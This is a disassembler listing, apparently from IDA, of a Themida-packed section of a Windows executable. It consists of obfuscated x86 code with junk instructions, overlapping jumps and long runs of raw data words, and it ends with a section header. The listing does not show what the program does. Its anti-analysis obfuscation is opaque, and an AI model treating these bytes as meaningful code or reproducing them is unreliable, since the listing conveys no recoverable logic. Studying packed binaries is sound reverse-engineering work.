sub_618023	proc near		; CODE XREF: sub_617FC9:loc_618011p
		pusha
		mov	edi, 5DF62E64h
		add	edx, 39197D79h
		popa
		pop	esi
		mov	di, 6DCDh
		movsx	edi, bx
		adc	bh, 0D5h
		movsx	ebx, ax
		jmp	loc_618052
; ---------------------------------------------------------------------------
		db 0ECh
		dd 35C8B439h, 1CE2636Eh, 0D6A31B61h
; ---------------------------------------------------------------------------
		or	[ebx], esi


loc_618052:				; CODE XREF: sub_618023+1Bj
		mov	bx, dx
		xor	esi, 71DEA4E2h
		mov	cx, 86AFh
		jbe	loc_618068
		movzx	eax, ax


loc_618068:				; CODE XREF: sub_618023+3Cj
		mov	ax, di
		mov	di, cx
		mov	bh, cl
		mov	ebx, 7D25F436h
		jp	loc_61807F
		mov	si, 0CB46h


loc_61807F:				; CODE XREF: sub_618023+52j
		movzx	eax, ax
		call	near ptr loc_618099+1
		sbb	esp, [esi-5923803Dh]
		mov	ds, word ptr [ecx]
		mov	eax, ds:0F8EEAA57h
		push	eax
		dec	ebx
		aaa
		jo	short near ptr loc_618104+1


loc_618099:				; CODE XREF: sub_618023+5Fp
		sub	eax, 7CD18160h
sub_618023	endp ; sp-analysis failed

		inc	esi
		aad	38h
		xor	cl, 4
		popa
		pop	ebx
		mov	dh, ah
		jnz	loc_6180B3
		push	esi
		and	bl, 75h
		pop	ecx


loc_6180B3:				; CODE XREF: Themida_:006180A8j
		jnb	loc_6180C5
		jmp	loc_6180C5
; ---------------------------------------------------------------------------
		dw 0AB56h
		dd 0ECFB13A6h
		db 0D8h
; ---------------------------------------------------------------------------


loc_6180C5:				; CODE XREF: Themida_:loc_6180B3j
					; Themida_:006180B9j
		stc
		movzx	edx, dx
		movzx	edi, dx
		call	sub_6180D9
		les	edx, [ebx-72h]
		pushf
		pop	esp
		jecxz	short near ptr loc_618154+2
		dec	ebx

; =============== S U B	R O U T	I N E =======================================



sub_6180D9	proc near		; CODE XREF: Themida_:006180CCp
		stc
		pop	edx
		jmp	loc_6180F1
; ---------------------------------------------------------------------------

locret_6180E0:				; CODE XREF: sub_6180D9+49j
		retn	0ECBh
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0FC63F092h, 23205BEh, 38684EACh
		db 71h
; ---------------------------------------------------------------------------


loc_6180F1:				; CODE XREF: sub_6180D9+2j
		push	ebx
		mov	al, ch
		pop	ecx
		jnp	loc_618101
		or	ecx, 4CBB1775h


loc_618101:				; CODE XREF: sub_6180D9+1Cj
		mov	bx, di


loc_618104:				; CODE XREF: sub_618023+74j
		jmp	loc_618118
; ---------------------------------------------------------------------------
		adc	ebx, [edi+7Bh]
		stosb
		stosb
		retn
; ---------------------------------------------------------------------------
		mov	ds:29F3133Eh, eax
		cmp	esp, [ebp+edi*4+47h]


loc_618118:				; CODE XREF: sub_6180D9:loc_618104j
		call	loc_618124
		pop	eax
		xchg	eax, esi
		js	short near ptr loc_618194+3
		lodsd
		jmp	short locret_6180E0
sub_6180D9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_618124:				; CODE XREF: sub_6180D9:loc_618118p
		mov	ebx, 6D337333h
		pop	ebx
		mov	esi, eax
		jmp	loc_618144
; ---------------------------------------------------------------------------
		db 32h,	0EDh, 47h
		dd 0CF85D22Ch, 0F6ADE321h, 1BF5DD1Eh, 2D9B9D97h
; ---------------------------------------------------------------------------


loc_618144:				; CODE XREF: Themida_:0061812Cj
		jmp	loc_618154
; ---------------------------------------------------------------------------
		db 44h,	0AAh, 9Dh
		dd 0DECE9DB0h, 0CD064FD2h
; ---------------------------------------------------------------------------


loc_618154:				; CODE XREF: Themida_:loc_618144j
					; Themida_:006180D6j
		mov	ecx, 4FE0B4DDh
		cld
		mov	ah, 0E3h
		movsx	edi, ax
		push	edi
		mov	ebx, edx
		pop	esi
		mov	bx, si
		jmp	loc_61817D
; ---------------------------------------------------------------------------
		db 36h
		dd 7C1E87F0h, 5C865EF8h, 0DBA75CDh, 0A72F4D29h
		db 3Bh
; ---------------------------------------------------------------------------


loc_61817D:				; CODE XREF: Themida_:00618166j
		call	sub_618193
		fsubr	qword ptr [ebp-70h]
; ---------------------------------------------------------------------------
		db 0FEh, 0A8h, 63h
		dd 370EFAB4h, 54C5163Dh
		db 0A9h, 57h, 0E2h

; =============== S U B	R O U T	I N E =======================================



sub_618193	proc near		; CODE XREF: Themida_:loc_61817Dp
		pusha


loc_618194:				; CODE XREF: sub_6180D9+46j
		and	si, 3A52h
		push	ecx
		pop	eax
		popa
		pop	eax
		jmp	loc_6181B2
; ---------------------------------------------------------------------------
		dw 26EDh
		dd 274238Fh, 8B27E64Eh,	0EEF8AC14h
		db 5Eh,	0BCh
; ---------------------------------------------------------------------------


loc_6181B2:				; CODE XREF: sub_618193+Aj
		jge	loc_6181BA
		push	edi
		pop	esi


loc_6181BA:				; CODE XREF: sub_618193:loc_6181B2j
					; sub_618193+A3j
		jnp	loc_6181C3
		movzx	eax, cx


loc_6181C3:				; CODE XREF: sub_618193:loc_6181BAj
		mov	di, bx
		mov	cx, 3A1Bh
		pusha
		jo	loc_6181D4
		or	dl, 12h


loc_6181D4:				; CODE XREF: sub_618193+38j
		mov	ecx, 7DDBE61Bh
		popa
		push	esi
		movzx	edx, di
		pop	ecx
		mov	di, 69DBh
		movzx	edx, ax
		clc
		pusha
		cld
		mov	eax, edx
		popa
		clc
		jno	loc_618208
		jmp	loc_618208
; ---------------------------------------------------------------------------
		dd 1E7B33BAh, 673CD488h, 2D7DDD96h, 0FC2A62AEh
; ---------------------------------------------------------------------------


loc_618208:				; CODE XREF: sub_618193+5Aj
					; sub_618193+60j
		movzx	edi, cx
		add	esi, 6D402EA6h
		push	edi
		pusha
		mov	cl, 0BCh
		jnp	$+6
		popa
		pop	ecx
		mov	esi, 44D72C15h
		movzx	eax, si
		mov	si, 472Eh
		jl	loc_618231
		mov	bl, 0DDh


loc_618231:				; CODE XREF: sub_618193+96j
		call	near ptr loc_618246+1
		jnz	short near ptr loc_6181BA+1
		mov	edi, 94E19DB5h
		or	al, 7Ah
		inc	edi
		jecxz	short nullsub_12
		outsb
		mov	ebp, esi
		das


loc_618246:				; CODE XREF: sub_618193:loc_618231p
		fucomip	st, st
sub_618193	endp ; sp-analysis failed

		push	cs
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ds
		mov	es, word ptr [ecx-687C32B6h]
		xor	eax, 0E63F7C33h
		mov	byte ptr [edi+ecx+595FCFBFh], 0E9h
		or	eax, 6E000000h
		enter	523Fh, 0F8h
		and	al, 0
		inc	esi
		idiv	dword ptr [ebx]
		mov	edx, 66F98F13h
		mov	eax, ebx
		or	di, 638Dh
		sub	edi, 238D64BEh
		movsx	eax, ax
		jmp	loc_618294
; ---------------------------------------------------------------------------
		dd 0C430D0CEh, 0F8F9CE3Eh, 96109E35h
; ---------------------------------------------------------------------------


loc_618294:				; CODE XREF: Themida_:00618283j
		mov	cx, 18A5h
		and	dl, 42h
		call	loc_6182B3
		in	al, dx
		insd
		mov	al, ds:0D4781477h
		insb
		push	ecx
		or	eax, 52941F4Eh
; ---------------------------------------------------------------------------
		dw 9F8Fh
		db 3Ch,	80h, 0B1h
; ---------------------------------------------------------------------------


loc_6182B3:				; CODE XREF: Themida_:0061829Bp
		and	di, 73C0h
		pop	ebx
; ---------------------------------------------------------------------------
		db 66h,	81h, 0E7h
		db 0EFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pusha
		xor	dx, 0FC1Ah
		popa
		xor	ax, 9764h
		mov	edi, esi
		cmc
		jno	loc_6182DB
		push	ebx
		jz	$+6
		pop	edx


loc_6182DB:				; CODE XREF: Themida_:006182CDj
		cmc
		movsx	edx, bx
		jmp	loc_6182F8
; ---------------------------------------------------------------------------
		dd 560A58F6h, 590111D3h, 8712B43Bh, 4381B910h, 0D1431F53h
; ---------------------------------------------------------------------------


loc_6182F8:				; CODE XREF: Themida_:006182DFj
		pusha
		pusha
		adc	di, 1E16h
		movsx	ecx, di
		popa
		push	ecx
		cld
		pop	eax
		popa
		jb	loc_61830E
		stc


loc_61830E:				; CODE XREF: Themida_:00618307j
		sbb	bl, 0A3h
		stc
		mov	ecx, edi
		mov	eax, edi
		push	ecx
		add	ax, 143Ch
		pop	esi
		mov	dh, ah
		pusha
		jmp	loc_618337
; ---------------------------------------------------------------------------
		db 3Dh,	0E4h, 79h
		dd 8D9D6915h, 0C3D42D73h, 16363A5h
		db 0BBh, 0Dh, 20h
; ---------------------------------------------------------------------------


loc_618337:				; CODE XREF: Themida_:00618320j
		clc
		popa
		mov	ax, dx
		call	near ptr loc_61834C+1
		test	al, 12h
		adc	esp, [edi+77E5B71Fh]
		inc	ebx
		sub	ebx, ebp


loc_61834C:				; CODE XREF: Themida_:0061833Cp
		fmul	dword ptr [edi]
		mov	edi, 0E8815BC8h
		cmpsd
		fcomp	st
		adc	ch, cl
		or	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
		dd 0A18C1FB6h, 0E3C4838Ch, 0F0801BA6h, 0ECB966CBh, 0F08166D5h
		dd 0DEB2C857h, 0C180D88Bh, 0FC78BD8h, 481h, 2FBF6600h
		dd 0F3BE6697h, 0BBD0B9FAh, 8166038Ch, 6076E0DAh, 107E8ABAh
		dd 0DF816617h, 6661DD2Eh, 0E957FE8Bh, 0Ah, 2A3B8743h, 0C923921Bh
		dd 665E4608h, 0F922DB81h, 0EBB8CE8Bh, 0F78733Eh, 8B66F2BFh
		dd 8190B3C6h, 44924E3h,	661DB72Bh, 0D881D88Bh, 5BB9053Eh
		dd 0DEFB9FBFh, 0DF816676h, 7E9A239h, 0C2000000h, 0E4F3E0B1h
		dd 880F96A7h, 0Ch, 6810Fh, 830F0000h, 0
; ---------------------------------------------------------------------------
		pusha
		mov	ebx, 2B695575h
		cmc
		popa
		cld
		jnp	loc_618411
		mov	cl, 16h


loc_618411:				; CODE XREF: Themida_:00618409j
		and	ecx, 4F592D5Dh
		movzx	edx, di
		sbb	ebx, 6C371A93h
		jmp	loc_61842D
; ---------------------------------------------------------------------------
		db 9, 0F6h
		db 52h
		dd 8774429h
		db 0D4h
; ---------------------------------------------------------------------------


loc_61842D:				; CODE XREF: Themida_:00618420j
		mov	di, 3EDCh


loc_618431:				; CODE XREF: Themida_:00618489j
		jmp	loc_618444
; ---------------------------------------------------------------------------
		dw 0B148h
		dd 88F2D5EEh, 0BD4DF798h, 53BDD876h
; ---------------------------------------------------------------------------


loc_618444:				; CODE XREF: Themida_:loc_618431j
		mov	ecx, eax
		pusha
		pusha
		or	edx, 604934AEh
		mov	esi, 0A56C77Ch
		popa
		sub	ebx, 3399C36Eh
		popa
		jo	$+6
		push	ecx
		mov	cl, 8Fh
		pop	esi
		mov	edi, eax
		jz	loc_618473
		sbb	ecx, 5D063C7h


loc_618473:				; CODE XREF: Themida_:00618467j
		movzx	ecx, si
		call	near ptr loc_61848B+1
		xchg	eax, ecx
		mov	dh, 3
		and	dword ptr [ebp-60h], 2D71E0FFh
		cmp	ah, [edi]
		out	dx, eax
		pop	es
		jns	short loc_618431


loc_61848B:				; CODE XREF: Themida_:00618476p
		shl	dword ptr [esi-7Fh], 0EAh
		loop	near ptr loc_6184D1+2
		pop	ebx
		push	ebx
		pop	ecx
		jmp	loc_6184AA
; ---------------------------------------------------------------------------
		imul	ebx, [edi-7DD7C688h], -38h
		mov	ds:0CAB442Dh, eax
		retn
; ---------------------------------------------------------------------------
		dw 48DDh
		db 35h,	0EEh
; ---------------------------------------------------------------------------


loc_6184AA:				; CODE XREF: Themida_:00618494j
		sbb	ch, 3Ch
		mov	ah, 89h
		mov	esi, 5350FDA0h
		mov	bl, 3Fh
		call	near ptr loc_6184BE+2
		pop	ecx
		and	al, 93h


loc_6184BE:				; CODE XREF: Themida_:006184B6p
		xchg	ecx, [ebx-48h]
		dec	edi
		cwde
		add	byte ptr [ecx+5Fh], 0Fh
		mov	bh, 0FEh
		call	near ptr loc_6184D1+4
		rol	ah, 1
		pop	esi


loc_6184D1:				; CODE XREF: Themida_:0061848Fj
					; Themida_:006184C9p
		mov	edx, 662D31D8h
		adc	edi, 0E95EEF73h
		adc	al, [eax]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		dec	ebp
		retf
; ---------------------------------------------------------------------------
		dw 0E963h
; ---------------------------------------------------------------------------
		mov	ebp, 14B1AE7Ah
		cmp	byte ptr [esp+edi*2+56h], 6Dh
		jb	short loc_618531
		fisttp	qword ptr [esi]
		mov	edi, eax
		mov	ebx, eax
		jl	loc_6184FE
		mov	bl, cl


loc_6184FE:				; CODE XREF: Themida_:006184F6j
		mov	edx, ecx
		jmp	loc_61850B
; ---------------------------------------------------------------------------
		scasd
		enter	22A6h, 8Bh
		inc	ecx


loc_61850B:				; CODE XREF: Themida_:00618500j
		sbb	esi, 3EB61BF7h
		mov	si, 13E2h
		push	edi
		mov	esi, 189433C2h
		pop	ebx
		push	edi
		jns	near ptr loc_618537+1
		jmp	near ptr loc_618537+1
; ---------------------------------------------------------------------------
		dd 869CF85Ah, 0BB1EAC72h
		db 20h
; ---------------------------------------------------------------------------


loc_618531:				; CODE XREF: Themida_:006184EEj
		and	edx, [edi]
		test	[ecx-2Bh], ch


loc_618537:				; CODE XREF: Themida_:0061851Dj
					; Themida_:00618523j
		sbb	ebx, [ecx+0Fh]
		mov	es, word ptr [ecx]
; ---------------------------------------------------------------------------
		dd 0FC000000h, 1BB9BF66h, 0D2BF0F60h, 3DE4BABFh, 5F53614Fh
		dd 0FD2BF0Fh, 289h, 0BFF08A00h,	6600F9Fh, 9E9F9h, 9C110000h
		dd 0DCB05669h, 0F085B61h, 128Dh, 0DE900h, 23900000h, 60FF20C7h
		dd 68D17FAEh, 603076C5h, 66C0B70Fh, 0F30DC881h,	0B9F38161h
		dd 0F900AF82h, 0A6F8D081h, 0DE83EB0h, 1E000000h, 0FF7F9C5Fh
		dd 0F4A97349h, 0E9459793h, 9E959F8h, 0C000000h,	9F2E818Ah
		dd 81F10A85h, 0B2CABF0Fh, 0CF8166B9h, 0FAB3D267h, 0BE8h
		dd 1C2FDC00h, 0C19221FCh, 56540C0Eh, 0E40FFCB8h, 0B0B55921h
		dd 0FF3BF0Fh, 860FF3BFh, 6, 6F5ECE81h, 8B6619D2h, 0B8F960C6h
		dd 303116E1h, 0F7B70F61h, 58D0Fh, 2BE0000h, 0BA2C2EA5h
		dd 219CBD3Dh, 8F0FFA8Bh, 3, 0FC18B66h, 382h, 0DE8B6600h
		dd 0FE8h, 30A10800h, 515D8D8Fh,	2F58810Ch, 18422978h, 0FE960h
		dd 37710000h, 424733C6h, 0A863FC16h, 70E30EEEh,	61DE8B18h
		dd 0E961605Eh, 0Eh, 0D59723A0h,	4E59FAF1h, 77047AF3h, 66F8CF48h
		dd 0E9DDD2BEh, 13h, 5CAB744Ah, 1CF02560h, 73E162EFh, 0C5384C41h
		dd 818E1B06h, 81FFD5D2h, 0C381F577h, 5CCA906Ch,	66C8B70Fh
		dd 1B74C881h, 890Fh, 8E80000h, 31000000h, 0C5D38AF6h, 52779B0Fh
		dd 5E5FD78Bh, 6E9h, 328EF100h, 5784C89Dh, 9E859F9h, 0AD000000h
		dd 0AA8684E1h, 0E36C1E77h, 5AF98B66h, 66D9BF0Fh, 0FF20FBEh
		dd 148Eh, 0CE800h, 0DC5C0000h, 0A8FE906Dh, 0EFAB463h, 59573D37h
		dd 0FAB70F5Eh, 73DB8166h, 0FB2B06Bh, 384h, 0CB8B6600h
		dd 13E9h, 0E4D4B000h, 27B318B6h, 2553714Eh, 0D6D1E501h
		dd 5AFD06FFh, 10E9h, 9884D300h,	0A0B4D133h, 443BC974h
		dd 18BD67A9h, 0D2DF81E0h, 8B7CADA1h, 0D18166F2h, 8B66C064h
		dd 81F88BD9h, 0E74C95EBh, 8B46BE2Ah, 0CF817C40h, 3EACD36Fh
		dd 13B133BAh, 0DA816679h, 830F87E5h, 1Ch, 0BE8h, 0BB32D400h
		dd 0FC0C9604h, 72FE9AB1h, 5E8h,	398E8600h, 585F02F6h, 53C981F9h
		dd 0E9135756h, 9, 73535750h, 0EF35AB9Bh, 60DE8BA5h, 77458CBEh
		dd 8166600Ah, 0F23BBDBh, 6161CBB7h, 0B369E881h,	8B6636ABh
		dd 0BE66F8DAh, 0B70F47DCh, 0EB8166C9h, 0BBB9B242h, 60678B0Ch
		dd 0EC21D981h, 0B66060A5h, 0CF8B6623h, 8A0F6161h, 2, 0BE9FD8Ah
		dd 0CB000000h, 7040C6B2h, 7D1D30FFh, 0F60F8EDh,	12E9DEB7h
		dd 64000000h, 0BEB596CFh, 2A20AC9Ch, 0A33AA132h, 0D25F34E7h
		dd 0D5806106h, 0BBCB8FFh, 8C0F0852h, 3,	0FD7B70Fh, 0A3B0DEBFh
		dd 0E04ACE81h, 8E0F1582h, 3, 53F38B66h,	5928E980h, 66F9F08Bh
		dd 0E91269B8h, 0Ch, 8A5633A7h, 0CFD9CB33h, 6FBC5B35h, 66CB8B66h
		dd 0B0FFEA81h, 10E9h, 0DA02300h, 0CD3F69A7h, 338DDDA6h
		dd 0BB1FFB34h, 0D2BF6673h, 0C4C281EEh, 0F133D75h, 1C87h
		dd 14E85100h, 69000000h, 16B7BA17h, 0A18A2C1Fh,	0B46EAC22h
		dd 8D905287h, 5B4B14C8h, 0CE958h, 0D0500000h, 879AE082h
		dd 0D60C3028h, 0C78BBC0Ch, 47E78166h, 6DE380EFh, 0FE9h
		dd 114F1300h, 7158A345h, 0C6B93FB5h, 64F59C5Dh,	58E0F60h
		dd 66000000h, 3331EE81h, 0BB6661F5h, 0BE9F826h,	0B3000000h
		dd 8E6F2FC5h, 851BD380h, 8B606CBEh, 0FE8B51F0h,	0F1816158h
		dd 5CCF3D84h, 60EBA66h,	50EF8166h, 97D18035h, 16870Fh
		dd 0AE80000h, 0A4000000h, 0D9C3A8DEh, 9785EA17h, 8C0F57h
		dd 5F000000h, 5E9h, 0C2988D00h,	5E52EC3Fh, 5E8h, 6508FE00h
		dd 0C0813871h, 547E3646h, 7589BA5Eh, 0FE84330h,	0C0000000h
		dd 9C74C576h, 9A678062h, 0CC4D7454h, 5B50E496h,	0F7816658h
		dd 820F7F76h, 2, 81666160h, 608969DFh, 13E8h, 0F97A2600h
		dd 315FA90Ch, 0E82CE50Ah, 36F3CA69h, 16E4345Eh,	0CE9h
		dd 53714E00h, 0D1E50125h, 0FD06FFD6h, 66615F5Ah, 0D7CCF781h
		dd 1850Fh, 0FF90000h, 118Ah, 0CE900h, 0F6560000h, 0CC5A5751h
		dd 0B7225A35h, 9E8EA0Eh, 74000000h, 5389E48Dh, 5031A3Dh
		dd 0C28B6660h, 0F98B5961h, 0AE9h, 0CE894900h, 0F359C912h
		dd 0F989590Fh, 6650B2FCh, 81EBA2BEh, 0EADC93D1h, 29D2806Ch
		dd 0FCABF0Fh, 8166F8BFh, 66D654EFh, 0E080CB8Bh,	10870F6Fh
		dd 0E8000000h, 5, 9F04E2BBh, 0EE81661Bh, 8B58392Ch, 6466BFCEh
		dd 880F6F88h, 2, 0DCBAF18Ah, 0B724CDBEh, 10E936h, 0E8320000h
		dd 0D59978FFh, 50524743h, 4DA4D2A5h, 8166317Ch,	66A9B3CAh
		dd 0E8DD89BAh, 0Ah, 0A2D1195Eh,	84B0AECBh, 14E976A7h, 9A000000h
		dd 0B406547Ch, 0C37877Fh, 7C2E4C2Fh, 45EC668h, 58B2420Bh
		dd 0BB66F5F8h, 66604EA0h, 47D7CE81h, 840F61h, 80000000h
		dd 0ABB485EAh, 6628CA80h, 0F9DB81h, 8B66F560h, 0BA6661F3h
		dd 820F68F0h, 0Dh, 8E9h, 0B4DA5600h, 328FCFD3h,	0C4D2BB94h
		dd 8B6676B7h, 0EE9F0h, 1FF30000h, 0FC83C423h, 0FD7A625Eh
		dd 40145F26h, 8166B7B4h, 663F0BC3h, 811A05B8h, 7C975BD0h
		dd 14E91Ch, 0D7160000h,	0C72EB997h, 6EAD0BC5h, 0B90DCACBh
		dd 3CF005E4h, 0CE96863h, 69000000h, 0AB51627Fh,	255604FBh
		dd 81D62456h, 7F31D0E1h, 0A3BB6656h, 816060F1h,	4B58D9E0h
		dd 82E38026h, 810F6161h, 2, 5E9B4B6h, 34000000h, 0F0791936h
		dd 11E8h, 42A66800h, 4D66D2FFh,	0DC37D7B6h, 0EC218E7Eh
		dd 0FE920DEh, 70000000h, 34E42269h, 858A783Ah, 0EF2BE377h
		dd 665F9A7Bh, 6EEBE081h, 3BC2CB81h, 80F54842h, 810FFFD8h
		dd 16h,	0CE8h, 6C7500h,	78EFD23Eh, 1FB27A69h, 0F3B966E8h
		dd 8E95A0Ah, 0AC000000h, 86483859h, 0F2CEE96h, 8B66DAB7h
		dd 0BF6652F8h, 0F5BA74Bh, 180h,	0BF66FC00h, 0E3800000h
		dd 0DE995h, 282F0000h, 0B8322B28h, 0A15E2DADh, 0E92E2EAEh
		dd 0Dh,	0A1C429D2h, 0E11D4C94h,	0ADFB3214h, 0DEB70F5Eh
		dd 197801B8h, 6E836h, 2AD10000h, 0C31BC1C9h, 10E8h, 74C31500h
		dd 7C052862h, 0FF35BB89h, 0D6EA9E6Fh, 58DA8BC2h, 38E0F59h
		dd 66000000h, 8BF8DF8Bh, 0BE8CAh, 0C62E0000h, 6483EC34h
		dd 3D22D845h, 0CFB70F13h, 0F98B6659h, 0B825DB80h, 31BF3558h
		dd 820FD38Bh, 3, 6659F857h, 581EE681h, 430BF66h, 0FC28B66h
		dd 85h,	0B70F5700h, 5E958C9h, 59000000h, 2C892744h, 0B6E9E381h
		dd 840F23C4h, 5, 448BB9h, 0C881661Fh, 8B6633FAh, 0F8B0FDFh
		dd 0E9000000h, 0Ah, 47740614h, 2C4740Dh, 0EB8A547Eh, 0BFC68166h
		dd 9E820h, 700F0000h, 899DCD94h, 0E9B47DDAh, 13h, 0CE5F802Ah
		dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 5E2295D1h,	23C08166h
		dd 8AC18B51h, 0B70F60F3h, 0CE8C9h, 6DC00000h, 8E20302Ch
		dd 0C38DDB3h, 0DF81325Eh, 53E676DCh, 870F6158h,	5, 0A8F28166h
		dd 81FC60D6h, 0E00427C7h, 8B666108h, 27ED80CFh,	148B0FF8h
		dd 0E9000000h, 0Fh, 40521771h, 11B4108Ch, 0F39844FCh, 0E951801Ch
		dd 9, 5B48531Eh, 0B0FB5C1h, 4840FEFh, 66000000h, 813C9EBAh
		dd 9E6116C6h, 6880F71h,	81000000h, 93EF7FF3h, 0F9FA8A0Ah
		dd 66F78B66h, 33EDCF81h
		dd 12E9EDB5h, 64000000h, 42D090DFh, 0F92C04F9h,	0D3CE78BEh
		dd 0DE486089h, 13C38124h, 8B490F64h, 10D781C7h,	5735754Ch
		dd 0F958C18Ah, 0AE9h, 0D71F0700h, 0D97FE656h, 66147FCBh
		dd 0E91EE1B8h, 8, 0D4BEBD45h, 0B360DADAh, 840FEAB5h, 6
		dd 0FB68DB81h, 8B666790h, 0BE9CEh, 20150000h, 8FFB44FDh
		dd 0B6536CAEh, 56CA8B8Dh, 0B25F34B3h, 66D6B2E9h, 511871B9h
		dd 665941B7h, 6660D68Bh, 0E9F8D4BAh, 6,	0BC60FDE4h, 0E86188A2h
		dd 0Ch,	88C7FBBCh, 0C42209D7h, 0D211D220h, 14E9h, 0BEE45C00h
		dd 0CD9D29BDh, 3E6BDD0Ch, 3F560EABh, 675A6850h,	8BF858D4h
		dd 0CA8166CBh, 0E9F8145Bh, 7, 0A2596626h, 66551BC3h, 16C7DA81h
		dd 8B66A8B7h, 0CEBF0FD3h, 0E985B760h, 13h, 38751BA3h, 2CDF90F4h
		dd 0EAA00A4Ah, 2BD75A78h, 61F5FD43h, 60D4DC80h,	0AE850h
		dd 4E030000h, 0D707FD75h, 242C214Eh, 80615F5Fh,	0C98110D3h
		dd 68BA0BCBh, 0A810Fh, 0B9600000h, 73BAFAE7h, 61C78B66h
		dd 2C7EBF66h, 1890Fh, 81F90000h, 0DE2E29C6h, 19D98105h
		dd 8122D55Fh, 5292D6F3h, 0CE865h, 8F3E0000h, 6FE39B2Bh
		dd 9C90DB72h, 890FA5BEh, 2, 0E9593EB1h,	12h, 0E160F89Eh
		dd 0C768901h, 0B08FBDDCh, 0B3CD8BFh, 0B70FEC7Ah, 0E9F681C8h
		dd 8A096580h, 9EEA81C5h, 6032EB29h, 0E9C2B70Fh,	12h, 0D0536650h
		dd 0AEB82D8Fh, 4BE88E07h, 0A339D52Fh, 0E9610E2Ch, 7, 4CF594F8h
		dd 0F31FC8Ch, 0A80h, 48C0F00h, 66000000h, 66CCBCBAh, 0F50968BEh
		dd 0E9DFBF0Fh, 7, 1DA7F198h, 661C29DAh,	8B99C6B9h, 18B0FD9h
		dd 0F8000000h, 82B96660h, 12E925h, 80220000h, 6BAC7527h
		dd 0C3F5F52Fh, 0E5F04414h, 0EF71325Ah, 12E861h,	0FDB00000h
		dd 6DD08154h, 30F84E3Ch, 557F12BCh, 1CC9AF78h, 0E1FBE66h
		dd 0F7816659h, 0F60ADA9h, 381h,	94CF8000h, 61F18B66h, 9BEA0EBBh
		dd 66606044h, 8D0FD88Bh, 0
; ---------------------------------------------------------------------------
		popa
		adc	edi, 4FDB6955h
		popa
		mov	eax, 28AE414Ah
		pusha
		mov	di, ax
		jb	loc_618F99
		js	$+6


loc_618F99:				; CODE XREF: Themida_:00618F8Dj
		popa
		mov	edx, 61985CCAh
		mov	esi, 594C8B02h
		movsx	eax, si
		jmp	loc_618FB3
; ---------------------------------------------------------------------------
		dd 712B7DFBh
		db 6, 0Fh, 0D2h
; ---------------------------------------------------------------------------


loc_618FB3:				; CODE XREF: Themida_:00618FA7j
		mov	cl, 7Dh
		jz	loc_618FC1
		jbe	$+6


loc_618FC1:				; CODE XREF: Themida_:00618FB5j
		jmp	loc_618FCF
; ---------------------------------------------------------------------------
		dw 52C4h
		dd 83E7481Fh
		db 0B1h, 0D7h, 0C8h
; ---------------------------------------------------------------------------


loc_618FCF:				; CODE XREF: Themida_:loc_618FC1j
		mov	ch, 63h
		mov	edx, 3465A36Dh
		call	near ptr loc_618FE5+3 ;	CODE XREF: Themida_:00618FDFj
		cmp	al, 0DBh
		dec	edx
		outsd
		jnb	short near ptr loc_618FD6+2
		db	3Eh
		lahf
		aad	29h


loc_618FE5:				; CODE XREF: Themida_:loc_618FD6p
		and	eax, 0B70F9FFFh
		rcr	byte ptr [esi-17h], 0Ah
; ---------------------------------------------------------------------------
		dw 0
		dd 16A76400h, 964828CFh, 0F5B5068h, 6E8D7BFh, 0E4000000h
		dd 0BEAAC7BDh, 2880F2Bh, 8B000000h, 12E85FC2h, 9D000000h
		dd 35A3C79h, 0DCAE7FC5h, 0E6541C07h, 0ADE1549Dh, 2860F1Ch
		dd 8B000000h, 66605FD0h, 668BF4BEh, 61456BBBh, 7E9h, 1B229600h
		dd 0A663D26Ah, 8BBCD080h, 99C780CFh, 66D8BF0Fh,	52B1C9BFh
		dd 5E9h, 8F71D200h, 6059BFC4h, 0BA61E78Ah, 78D14AE6h, 48F0Fh
		dd 0B9660000h, 0CE9C7C6h, 0D0000000h, 0FED01C63h, 2996DBE8h
		dd 0F3BD3A0h, 580h, 0D1816600h,	0E96024E1h, 5, 15666A67h
		dd 392BBF40h, 0F8611C3Eh, 0B70FC28Ah, 28EE81F0h, 661EFBBDh
		dd 0F17BFBFh, 387h, 0A0CB8000h,	61C78B60h, 0B866F08Bh
		dd 66605A95h, 0B866C18Bh, 9261FAF3h, 40h dup(948CDE3Eh)
		dd 0CC29DE3Eh, 474h dup(0CC29A233h), 119h dup(0EA47F895h)
		dd 9Dh dup(7B2FBF14h), 418DBF14h, 52h dup(418D0C74h), 0F8AC0C74h
		dd 16h dup(0F8AC9FB3h),	0FFh dup(0DA7AC74Dh), 0E1h dup(9AFC01E3h)
		dd 0CCCCCCE3h, 0B49h dup(0CCCCCCCCh), 0CCCCCCh,	1314h dup(0)
dword_622D20	dd 8D2h	dup(0)	dword_625068	dd 3E6h	dup(0)	Themida_	ends

; Section 5. (virtual address 00226000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00226000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 626000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start